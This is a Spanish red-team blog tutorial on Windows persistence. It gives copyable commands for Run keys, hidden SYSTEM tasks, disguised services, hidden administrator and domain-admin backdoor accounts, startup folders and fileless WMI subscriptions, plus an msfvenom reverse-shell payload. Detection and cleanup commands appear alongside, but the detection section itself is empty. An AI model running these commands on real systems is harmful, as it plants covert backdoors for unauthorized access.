Saltar al contenido

Persistencia en Windows: cómo los atacantes se quedan aunque los eliminen

    Persistencia en Windows:

    cómo los atacantes se quedan aunque los eliminen

    Serie Red Team | unfantasmaenelsistema.com

    Comprometer un sistema es solo la mitad del trabajo. La otra mitad es garantizar que ese acceso no desaparezca cuando el sistema se reinicie, cuando alguien cambie una contraseña o cuando el antivirus elimine el payload inicial. En un ataque real, el acceso perdido equivale a empezar de cero. En una auditoría, demostrar persistencia es lo que convierte un hallazgo de «acceso puntual» en un hallazgo de «acceso continuado indefinido», que tiene implicaciones de riesgo completamente diferentes.

    Este artículo cubre los mecanismos de persistencia más usados en Windows desde la perspectiva de un pentester, con especial atención a la sección de detección: cada técnica incluye los Event IDs y artefactos que genera para que los defensores sepan exactamente qué buscar.

    1. Qué es la persistencia y por qué importa en una auditoría

    En el contexto de una auditoría de seguridad, la persistencia tiene un valor doble. Para el atacante real, es supervivencia. Para el auditor ético, es evidencia: demostrar que se podría haber mantenido acceso durante semanas sin ser detectado es el argumento más convincente para justificar inversión en mejoras de seguridad.

    2. Claves de registro Run: el mecanismo más frecuente

    Las claves Run del registro son el mecanismo de persistencia más utilizado y más buscado por defensores. La ventaja desde el punto de vista del atacante es que no requiere privilegios de administrador para la variante HKCU, y la desventaja es que Autoruns de Sysinternals las expone inmediatamente.

    reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /t REG_SZ /d ‘C:\Windows\Temp\payload.exe’ /f

    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /t REG_SZ /d ‘C:\Windows\Temp\payload.exe’ /f

    New-ItemProperty -Path ‘HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run’ -Name ‘WindowsUpdate’ -Value ‘C:\Windows\Temp\payload.exe’ -PropertyType String -Force

    reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

    Get-ItemProperty ‘HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run’

    reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

    reg query HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute

    reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

    reg delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /f

    ▲ Comandos copiables

    3. Tareas programadas: control temporal preciso

    Las tareas programadas son más flexibles que las claves Run porque permiten control granular sobre cuándo y cómo se ejecuta el payload. La capacidad de ejecutarse como SYSTEM sin credenciales almacenadas y la posibilidad de configurarse como ocultas las convierte en una opción muy usada cuando se tienen privilegios de administrador.

    schtasks /create /tn ‘Microsoft\Windows\WindowsUpdate\Updater’ /tr ‘C:\Windows\Temp\payload.exe’ /sc onstart /ru SYSTEM /f

    schtasks /create /tn ‘WindowsDefenderUpdate’ /tr ‘C:\Windows\Temp\payload.exe’ /sc hourly /mo 1 /ru SYSTEM /f

    schtasks /create /tn ‘UserInit’ /tr ‘C:\Windows\Temp\payload.exe’ /sc onlogon /ru SYSTEM /f

    $action = New-ScheduledTaskAction -Execute ‘C:\Windows\Temp\payload.exe’

    $trigger = New-ScheduledTaskTrigger -AtStartup

    $settings = New-ScheduledTaskSettingsSet -Hidden

    Register-ScheduledTask -Action $action -Trigger $trigger -TaskName ‘WindowsUpdate’ -RunLevel Highest -User ‘SYSTEM’ -Settings $settings -Force

    schtasks /query /fo LIST /v

    Get-ScheduledTask | Where-Object {$_.TaskPath -notlike ‘\Microsoft\*’}

    schtasks /delete /tn ‘Microsoft\Windows\WindowsUpdate\Updater’ /f

    Unregister-ScheduledTask -TaskName ‘WindowsUpdate’ -Confirm:$false

    ▲ Comandos copiables

    4. Servicios de Windows: persistencia de sistema

    Los servicios se inician antes de que haya ningún usuario conectado y se ejecutan como SYSTEM por defecto. Son el mecanismo de más alto privilegio disponible para persistencia. La contrapartida es que generan el Event ID 7045, que cualquier SIEM bien configurado debería monitorizar.

    sc create WindowsSecurityService binPath= ‘C:\Windows\Temp\payload.exe’ start= auto

    sc description WindowsSecurityService ‘Provides security monitoring for Windows’

    sc start WindowsSecurityService

    sc failure WindowsSecurityService reset= 0 actions= restart/5000/restart/5000/restart/5000

    New-Service -Name ‘WindowsSecurityService’ -BinaryPathName ‘C:\Windows\Temp\payload.exe’ -StartupType Automatic -Description ‘Provides security monitoring’

    Start-Service -Name ‘WindowsSecurityService’

    sc query WindowsSecurityService

    msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.10 LPORT=4444 -f exe-service -o service_payload.exe

    sc stop WindowsSecurityService

    sc delete WindowsSecurityService

    ▲ Comandos copiables

    5. Cuentas de usuario: acceso directo persistente

    Crear una cuenta de administrador oculta es la forma más directa de persistencia: no depende de que ningún ejecutable esté en disco, sobrevive a limpiezas de malware, y proporciona acceso directo via RDP, WinRM o SMB. El símbolo $ al final del nombre de usuario es un truco antiguo para ocultar la cuenta de la pantalla de inicio de sesión, aunque aparece en net user y en los Event IDs de auditoría.

    net user support$ Pass123! /add

    net localgroup Administrators support$ /add

    reg add ‘HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList’ /v support$ /t REG_DWORD /d 0 /f

    New-LocalUser -Name ‘support$’ -Password (ConvertTo-SecureString ‘Pass123!’ -AsPlainText -Force) -PasswordNeverExpires

    Add-LocalGroupMember -Group ‘Administrators’ -Member ‘support$’

    net user

    Get-LocalUser | Select-Object Name,Enabled,LastLogon

    net user backdoor Pass123! /add /domain

    net group ‘Domain Admins’ backdoor /add /domain

    net user support$ /delete

    ▲ Comandos copiables

    6. Carpetas de inicio (Startup Folders)

    Las carpetas de inicio son la versión gráfica de las claves Run: cualquier ejecutable o acceso directo colocado ahí se ejecuta automáticamente cuando el usuario inicia sesión. La variante de usuario no requiere privilegios de administrador, y la variante de todos los usuarios se activa para cualquier usuario que inicie sesión en el sistema.

    copy C:\Windows\Temp\payload.exe ‘C:\Users\usuario\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe’

    copy C:\Windows\Temp\payload.exe ‘C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe’

    $userStartup = [System.Environment]::GetFolderPath(‘Startup’)

    $allUsersStartup = [System.Environment]::GetFolderPath(‘CommonStartup’)

    Copy-Item -Path ‘C:\Windows\Temp\payload.exe’ -Destination $userStartup

    dir ‘C:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup’

    dir ‘C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup’

    copy payload.exe %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\

    ▲ Comandos copiables

    7. WMI Event Subscriptions: persistencia sin archivos

    Las suscripciones de eventos WMI son la técnica de persistencia más sigilosa de todas porque no dejan archivos en el disco. Todo se almacena en el repositorio WMI, una base de datos interna de Windows que muy pocos sistemas de seguridad monitorizan activamente. Sin Sysmon configurado específicamente para detectar eventos WMI (IDs 20, 21 y 22), esta persistencia puede durar indefinidamente.

    $FilterArgs = @{name=’WindowsUpdate’; EventNameSpace=’root\CimV2′; QueryLanguage=’WQL’; Query=»SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA ‘Win32_PerfFormattedData_PerfOS_System’ AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320″}

    $Filter = New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs

    $ConsumerArgs = @{name=’WindowsUpdate’; CommandLineTemplate=’C:\Windows\Temp\payload.exe’}

    $Consumer = New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs

    $BindingArgs = @{Filter=[Ref]$Filter; Consumer=[Ref]$Consumer}

    New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $BindingArgs

    Get-WMIObject -Namespace root\subscription -Class __EventFilter

    Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer

    Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding

    Get-WMIObject -Namespace root\subscription -Class __EventFilter | Where-Object {$_.Name -eq ‘WindowsUpdate’} | Remove-WmiObject

    Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer | Where-Object {$_.Name -eq ‘WindowsUpdate’} | Remove-WmiObject

    Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding | Remove-WmiObject

    ▲ Comandos copiables

    8. Detección: artefactos y Event IDs por técnica

    Desde la perspectiva del blue team, conocer exactamente qué artefactos genera cada mecanismo de persistencia es la base de cualquier estrategia de detección. La herramienta más efectiva para detección manual es Autoruns de Sysinternals: muestra absolutamente todo lo que arranca con Windows, con código de colores para entradas no firmadas o inusuales.

    9. Estrategia y flujo en una auditoría

    Conclusión

    La persistencia es la técnica que convierte un acceso puntual en un compromiso real. En el contexto de una auditoría ética, su valor no es mantener el acceso para siempre sino demostrar que podría haberse mantenido. Esa demostración, con evidencia documentada de que la persistencia sobrevivió a un reinicio del sistema, es la que justifica las recomendaciones de seguridad más costosas ante la dirección de una organización.

    Igualmente importante es la limpieza. Todo mecanismo de persistencia creado durante una auditoría debe eliminarse completamente al finalizarla. Una persistencia olvidada no solo deja una vulnerabilidad activa: es una negligencia profesional que puede tener consecuencias legales. El informe final debe incluir un apartado de limpieza que documente qué se creó y qué se eliminó.

    unfantasmaenelsistema.com | Seguridad, sistemas y todo lo que no debería funcionar (pero funciona)

    Resumen de privacidad

    Esta web utiliza cookies para que podamos ofrecerte la mejor experiencia de usuario posible. La información de las cookies se almacena en tu navegador y realiza funciones tales como reconocerte cuando vuelves a nuestra web o ayudar a nuestro equipo a comprender qué secciones de la web encuentras más interesantes y útiles.